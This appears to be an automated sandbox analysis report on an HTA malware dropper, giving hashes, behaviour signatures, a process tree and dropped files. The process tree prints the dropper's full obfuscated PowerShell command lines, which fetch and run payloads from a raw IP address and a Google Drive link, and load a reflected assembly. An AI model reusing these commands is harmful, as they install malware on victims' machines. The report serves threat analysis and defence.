Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01-11-2024 05:50

General

  • Target

    d4ceed54c4c40a1ab8e3dc310e96ad94aa5bb7e65269cac051d974257fb44e90.hta

  • Size

    205KB

  • MD5

    d50fd6f65b574b2c9ca393cbd44ecf11

  • SHA1

    1f2126c711c25c4104cf34d42316db0cf8b50d89

  • SHA256

    d4ceed54c4c40a1ab8e3dc310e96ad94aa5bb7e65269cac051d974257fb44e90

  • SHA512

    c91cf64044091d7bef8c05e19e28b0c1403960d0944d96e4f68da241b36bfac1689aae6d07356721853a732ee919abe5d1686baf6625f58d5802110e390b20d8

  • SSDEEP

    96:43F97tMfPVMXbfrrFAQGFYIO7QpOMPMKtbMxQ:43F1tiV2VAQTt8NNcQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d4ceed54c4c40a1ab8e3dc310e96ad94aa5bb7e65269cac051d974257fb44e90.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\SysWOW64\wiNDowsPowERsHEll\V1.0\PowErSHell.Exe
      "C:\Windows\sysTem32\wiNDowsPowERsHEll\V1.0\PowErSHell.Exe" "POWErSheLl.exe -eX BYPAsS -nOp -w 1 -C deVIcECREdEnTiaLDeplOyMENt.exE ; IEx($(IeX('[sYstEM.TEXT.ENCoDInG]'+[chAr]0x3A+[CHar]0x3a+'Utf8.gETSTriNG([SystEM.ConvERT]'+[chAr]58+[ChaR]58+'fROmBAsE64sTRiNg('+[CHar]34+'JHpiejRLVXlZczhPICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFckRFZmlOaXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGdnUFl2VVgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbVAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERSVixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPUEMpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ6enFhc29aYnUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1PdEZ0dW1mTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemJ6NEtVeVlzOE86OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xMDcuMTc1LjEzMC4zNi8xMjAvcGljdHVyZXdpdGhncmVhdHRoaW5nc2dvb2RpZGVhcGxhbm5pbmdmb3IudElGIiwiJGVOdjpBUFBEQVRBXHBpY3R1cmV3aXRoZ3JlYXR0aGluZ3Nnb29kaWRlYXBsYW5uaW5nLnZicyIsMCwwKTtTVGFSVC1zTEVFcCgzKTtTVEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFccGljdHVyZXdpdGhncmVhdHRoaW5nc2dvb2RpZGVhcGxhbm5pbmcudmJzIg=='+[ChAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX BYPAsS -nOp -w 1 -C deVIcECREdEnTiaLDeplOyMENt.exE
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2416
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\avxma7mi.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE9F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBE9E.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2836
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithgreatthingsgoodideaplanning.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdFdC1WQVJJYUJsRSAnKk1EUionKS5uQW1FWzMsMTEsMl0tam9pTicnKSgoKCdZaHhpbWFnZVVybCA9IHNpRWh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcicrJ3Q9ZG93bmxvJysnYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHNpRTtZaHh3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1loeGltYWdlQnl0ZXMgPSBZaHh3ZWJDbGllbnQuRG93bmxvYWREYXRhKFloeGltYWdlVXJsKTtZaHhpbWFnZVRleHQgPSBbUycrJ3lzdGVtLlRleHQuRW5jb2RpJysnbicrJ2ddOjpVVEY4LkdldFN0cmluZyhZaHhpbWFnZUJ5dGVzKTtZaHhzdGFydEZsYWcgPSBzaUUnKyc8PEJBU0U2NF9TVEFSVD4+c2lFO1loeGVuZEZsYWcgPSBzaUU8PEJBU0U2NF9FTkQ+PnNpJysnRTtZaHhzdGFydEluZGV4ID0gWWh4aW1hZ2VUZXh0LkluZGV4T2YoWWh4c3RhcnRGbCcrJ2FnKTtZaHhlbmRJbmRleCcrJyA9IFloeGltYWdlVGUnKyd4dC5JbmRlJysneE9mKFloeGVuZEZsYScrJ2cpO1knKydoeHN0JysnYXJ0SW5kZXggLWdlIDAgLWFuZCBZaHhlbmRJbmRleCAtZ3QnKycgWWh4c3RhcnRJbmRleDtZaHhzdGFydEluZGV4ICs9IFloeHN0YXJ0RmxhZy5MZW5ndGg7WWh4YmFzZTY0TGVuZ3RoID0gWWgnKyd4ZW5kSW5kZXggLSBZaHhzdGFydEluZGV4JysnO1loeGJhc2U2NENvbW1hbmQgPSBZaHhpbWFnJysnZVRleHQuU3Vic3RyaW5nKFloeCcrJ3N0YXJ0SW5kZXgsIFloeGJhcycrJ2U2NExlbmd0aCk7WWh4YmEnKydzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWWh4YicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIFFSeiBGJysnbycrJ3JFYWNoLU9iamVjdCB7IFloeF8gfSlbLTEuLi0oWWh4YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtZaHhjb21tYW5kQnl0ZXMgPSBbJysnU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFloeGJhc2U2NFJldmVyc2VkKTtZaHhsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoWWh4Y29tbWFuZEJ5dGVzKTtZaHh2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2UnKyd0TWV0aG9kKHNpRVZBSXNpRSk7WWh4dmFpJysnTWV0aG9kLkludm9rZShZaHhudWxsLCBAKHMnKydpRXQnKyd4JysndC5ERk5OUkQvMDIxJysnLzYzLjAzMS41NzEuNzAxLy86cHR0aHNpRSwgc2lFJysnZGVzYXRpJysndmFkb3NpRSwgc2lFZGVzYXRpdmFkb3NpRSwgc2knKydFZGVzYXRpdmFkb3NpRSwgc2lFQ2FzUG9scycrJ2lFLCBzaUVkZXNhdGl2YWRvc2lFLCBzaUVkZXNhdGl2YWRvc2lFLHNpRWRlc2F0aXZhZG9zaUUsc2lFZGVzYXRpdmFkb3NpRSxzaUVkZXNhdGl2YWRvc2lFLHNpRWRlc2F0aXZhZG9zJysnaUUsc2lFZGVzYXRpdmFkb3NpRSxzaUUxc2lFLHNpRWRlc2F0aXZhZG9zaUUpKTsnKSAgLXJlUExhQ0UgIChbQ0hBUl0xMTUrW0NIQVJdMTA1K1tDSEFSXTY5KSxbQ0hBUl0zOSAgLWNyRXBMQWNlJ1loeCcsW0NIQVJdMzYgLWNyRXBMQWNlIChbQ0hBUl04MStbQ0hBUl04MitbQ0hBUl0xMjIpLFtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((gEt-VARIaBlE '*MDR*').nAmE[3,11,2]-joiN'')((('YhximageUrl = siEhttps://drive.google.com/uc?expor'+'t=downlo'+'ad&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur siE;YhxwebClient = New-Object System.Net.WebClient;YhximageBytes = YhxwebClient.DownloadData(YhximageUrl);YhximageText = [S'+'ystem.Text.Encodi'+'n'+'g]::UTF8.GetString(YhximageBytes);YhxstartFlag = siE'+'<<BASE64_START>>siE;YhxendFlag = siE<<BASE64_END>>si'+'E;YhxstartIndex = YhximageText.IndexOf(YhxstartFl'+'ag);YhxendIndex'+' = YhximageTe'+'xt.Inde'+'xOf(YhxendFla'+'g);Y'+'hxst'+'artIndex -ge 0 -and YhxendIndex -gt'+' YhxstartIndex;YhxstartIndex += YhxstartFlag.Length;Yhxbase64Length = Yh'+'xendIndex - YhxstartIndex'+';Yhxbase64Command = Yhximag'+'eText.Substring(Yhx'+'startIndex, Yhxbas'+'e64Length);Yhxba'+'se64Reversed = -join (Yhxb'+'ase64Command.ToCharArray()'+' QRz F'+'o'+'rEach-Object { Yhx_ })[-1..-(Yhxbase64Co'+'mmand.Length)];YhxcommandBytes = ['+'System.Convert]::FromBase64String(Yhxbase64Reversed);YhxloadedAssembly = [System.Reflection.Assembly]::Load(YhxcommandBytes);YhxvaiMethod = [dnlib.IO.Home].Ge'+'tMethod(siEVAIsiE);Yhxvai'+'Method.Invoke(Yhxnull, @(s'+'iEt'+'x'+'t.DFNNRD/021'+'/63.031.571.701//:ptthsiE, siE'+'desati'+'vadosiE, siEdesativadosiE, si'+'EdesativadosiE, siECasPols'+'iE, siEdesativadosiE, siEdesativadosiE,siEdesativadosiE,siEdesativadosiE,siEdesativadosiE,siEdesativados'+'iE,siEdesativadosiE,siE1siE,siEdesativadosiE));') -rePLaCE ([CHAR]115+[CHAR]105+[CHAR]69),[CHAR]39 -crEpLAce'Yhx',[CHAR]36 -crEpLAce ([CHAR]81+[CHAR]82+[CHAR]122),[CHAR]124) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1872

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESBE9F.tmp

    Filesize

    1KB

    MD5

    f3cc4500c4982922ee58e67f6eb05701

    SHA1

    47165ef84c4f132923b98071a99fd75bb960ee9d

    SHA256

    2384ac6d1710e521054f97686e2399a8a15e839cb21cc0b8883a8d97fdd8bea8

    SHA512

    216cc3ea7876458be97e78f7037f47bfad7ce7b6368082f324c57a900ecf0b0a38e772e45068efb612eac45019fdf9976e45cbf993466c310be741291a2fe422

  • C:\Users\Admin\AppData\Local\Temp\avxma7mi.dll

    Filesize

    3KB

    MD5

    45cf09dc96b9a4bb7304b6ba88643d18

    SHA1

    44792a110c0308f4c3684dc0e91dd44a772f5ee0

    SHA256

    e7f854dacce73b746feba347951e31375d79df9d99c554641f50110d22e11989

    SHA512

    437369104bdf0fd684daefec216d7bafe3fe8e394e0039fb377117a8a447dc0bff0144820747ceb73c4201e0315d8f6fbc92ff1f1a4f84e39d6b62ba8b5c858a

  • C:\Users\Admin\AppData\Local\Temp\avxma7mi.pdb

    Filesize

    7KB

    MD5

    624f3efdda847a6207cff3f8fee47a18

    SHA1

    c885ff87284f27bbf817606d0f896dc7de057ffb

    SHA256

    f02497caf796abf09fa9cf73a39184b6d12f1b06c779e17956e102f648b24a34

    SHA512

    709e5ded0c15de5f33e8078746e03446358b36f14e544beb0da445a2c0ca39c2ece14e18bb2dd53c8ba373ad4269d37fc4672909a4e06c56e5adac3e54a25ac7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6QEK0X0FFM3PG28DS2K0.temp

    Filesize

    7KB

    MD5

    017d7e37c03c16ddb131865f5059ede3

    SHA1

    793231185a6a3b06164c2cd6c73d9d623b83cfe0

    SHA256

    44ebe57135423b4c06080e9cf10e40b02f435a4d9a102d1035e8ca7b21d4b15d

    SHA512

    60334bec29a0709d50132da44761d1e78ada2d40907b15a5f2eba929f395c676f54246114392b76aa27260e33b428e5cefc622f440751ed56fcb73a4a6813e82

  • C:\Users\Admin\AppData\Roaming\picturewithgreatthingsgoodideaplanning.vbs

    Filesize

    138KB

    MD5

    9bffefbc57020a8809b3782eb2a8f14c

    SHA1

    487d426d1e74b0ce7cf26b11c5a828d640b36f4b

    SHA256

    bb276fb4cfa1b0f9fbd68566672cef1f670e70691c387d6fe11d8176cb009995

    SHA512

    a93f4d082d9255b91be0d2e5449acb845a304f3b5fefc5644052e6018dd0cde4998f80932599ad7761b758870748c47b2bbe51bfa1c82c749fab01b0d118e075

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCBE9E.tmp

    Filesize

    652B

    MD5

    5a6b149718337de1577bdc9f4640a7df

    SHA1

    526ac87b2ebdf7e940a811d9db9660be51aa9775

    SHA256

    3c3285e24495b5e60bcd6883b5bb46a738426b6c80f5ec92b00efc188c64c999

    SHA512

    8e1d4c2b70b81d139383f03721a03255404d976f4aa3988746fd0c2d202be18ff01edb5726748e088092c76e2df61fe375f0fca0d543e06940f26df85990df06

  • \??\c:\Users\Admin\AppData\Local\Temp\avxma7mi.0.cs

    Filesize

    469B

    MD5

    f89c3daa6416168719346d97618dab89

    SHA1

    291029ed13418eefcd0902435ecac1b3caeb61f2

    SHA256

    0ae5932bfd2ff3ff3a4522cf176bc41a9062d1e981d01a73e9e8a72664423b0d

    SHA512

    9a8ebe03128f7fbc0c5adf8d76060d7f9b1a7d4319f0cdc0af64ca80e0eba34c6c91796d1f04f044b1c1a4ec5d30a9dcf57aa662ed138f9f3f983d915216cb55

  • \??\c:\Users\Admin\AppData\Local\Temp\avxma7mi.cmdline

    Filesize

    309B

    MD5

    7a913fe2cf8b2767b30cae23729c9f0a

    SHA1

    aeed548ad3fa6108493e80aea6bff3bd4f6e700d

    SHA256

    b5bfa55f6957c43f47491837031e0b3c0bae63faf8128b7798548412ba0ca3b8

    SHA512

    2ddec8d30275aaffda938325930be66371b30ab7c21d6dc75ef4bcfdad3f234f1de889621efffaf587b8682cd19decdb304f61ee30acafdb782a3b4a9bdc9f0f